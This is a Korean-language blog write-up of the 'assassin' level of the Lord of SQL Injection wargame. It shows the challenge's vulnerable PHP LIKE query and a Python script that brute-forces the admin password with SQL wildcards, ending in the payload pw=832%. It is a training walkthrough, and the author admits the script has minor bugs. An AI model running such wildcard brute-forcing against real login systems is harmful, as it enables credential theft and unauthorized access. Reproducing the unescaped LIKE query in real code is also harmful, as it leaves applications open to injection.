공부하자

lord of sql injection - no.15 assassin 본문

Write-up/Lord of SQL Injection

lord of sql injection - no.15 assassin

공부를 하자 2017. 11. 23. 20:20

Lord of SQL Injection No.15 Assassin

LOS Assassin 문제는 와일드카드(_, %)를 사용하여 원하는 idpw값을 뽑아낼 수 있는 지 확인하는 문제이다.

소스 코드

<?php 

  include "./config.php"; 

  login_chk(); 

  dbconnect(); 

  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 

  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 

  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 

  $result = @mysql_fetch_array(mysql_query($query)); 

  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 

  if($result['id'] == 'admin') solve("assassin"); 

  highlight_file(__FILE__); 

?
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");

preg_match에서 '를 필터링하면 No Hack ~_~을 출력한 후 문제 풀이에 실패하게 된다.

$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";

$_GET 방식으로 pw만 입력받아 query에 직접 넣는다.

문제 풀이 조건

if($result['id'] == 'admin') solve("assassin");

id값이 admin이 되면 문제 풀이에 성공하게 된다.

Solution

import urllib.request

import string

from urllib.parse import quote



url = "http://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php?pw="

result = ""

guest_result=""

guest_pwlen = 0

admin_pwlen = 0

tmp = ""

find = False

random = string.digits + string.ascii_letters



for i in range(1,20):

    length_chk=('_' * i)

    length_chk=quote(length_chk)

    re = urllib.request.Request(url + length_chk)

    re.add_header("User-Agent","Mozilla/5.0")

    re.add_header("Cookie", "PHPSESSID=6d7n06fn55kjoc4fas5vuh24j4")

    res = urllib.request.urlopen(re)

    find_length = res.readline()

    print(find_length)



    if str(find_length).find("Hello guest") != -1:

        guest_pwlen = i

        print("Guest Password length = {}".format(guest_pwlen))

    if str(find_length).find("Hello admin") != -1:

        admin_pwlen = i

        print("Admin Password length = {}".format(admin_pwlen))

        find = True

        break

if find != True:

    admin_pwlen = guest_pwlen

    print("Admin Password length = {} // admin_pwlen = guest_pwlen".format(admin_pwlen))

    find = False



for i in range(1,admin_pwlen+1):

    for j in random:

        find = False

        add_url = result + "{}".format(j) + '%'

        print("Searching.. - {0}{1}".format(url, add_url))

        add_url = quote(add_url)

        new_url = url + add_url

        re = urllib.request.Request(new_url)



        re.add_header("User-Agent","Mozilla/5.0")

        re.add_header("Cookie", "PHPSESSID=6d7n06fn55kjoc4fas5vuh24j4")

        res = urllib.request.urlopen(re)

        find_pw = res.readline()



        if str(find_pw).find("Hello admin") != -1:

            result += j

            print("Admin Password => {}".format(result))

            find = True

        if str(find_pw).find("Hello guest") != -1:

            guest_result += j

            tmp = j

            print("Guest Password => {}".format(guest_result))

            break

        if find != True:

            result = guest_result



print("Finished Searching.")

print("Password : {}%".format(result))

python 코드를 짰는데 오류가 자잘하다.

첫번째 for문에서 _를 사용하여 pwlen을 알아내는데,

preg_match에서 항상 필터링 되던 _를 사용한 것을 볼 수 있을 것이다.

_는 와일드 카드라고 불리는 녀석인데. 와일드 카드의 종류에는 대표적으로 _%가 있다.

_는 어떤 값이든 대체할 수 있는 미지수라고 보면 된다.

예를 들어, apple이라는 문자열이 있다면, 문자열의 길이만큼 _ 를 5개 사용하여 _____를 대체하면 length 함수를 사용할 때 같은 문자열로 인식할 수 있다.

그리고 %는 예를 들어, a% 와 같이 사용하게 되면

"a로 시작하는 모든 문자열", %p%와 같이 사용하면 "문자열 중간에 p가 들어가는 모든 문자열", %e와 같이 사용하게 되면 "e로 끝나는 모든 문자열" 을 의미하게 된다.

주의할 점으로는 와일드 카드는 like 함수가 앞에 사용되었을 때만 사용이 가능하다는 것이다.

for문을 반복하면서 guestadmin을 비교하면서 원하는 값을 찾은 이유는 adminpw값을 찾기 전에 원치 않게 guestpw값을 찾게 되면 adminpw값을 찾기도 전에 for문이 넘어가기 때문에 정상적으로 adminpw 값을 찾지 못하게 되어 이를 방지하기 위해 guestpw값을 찾더라도 for문이 넘어가지 않도록 만든 것이다.

for문이 수행되면 adminpw값은 832%가 나오게 된다.

(guestpw값은 83d.... 와 같은 형식으로 진행되기 때문에 3번째 문자부터 adminpw값과 차이가 나게 된다.)

원래 소스 코드를 adminpw값과 guestpw값이 달라지는 시점에서 바로 반복문 실행을 중지하고 결과를 출력하는 형식으로 짜보려 했으나 그 시점에서 adminpw값을 출력한 후 guestpw값이 모두 찾아질 때까지 for문을 반복하는 형식이 되어버렸다. 이는 추후에 수정하여 writeup을 다시 올릴 예정이다.

http://los.eagle-jump.org/assassin_***.php?pw=832%

pw=832%를 URL에 삽입하여 전달하면 문제 풀이에 성공하게 된다.

Comments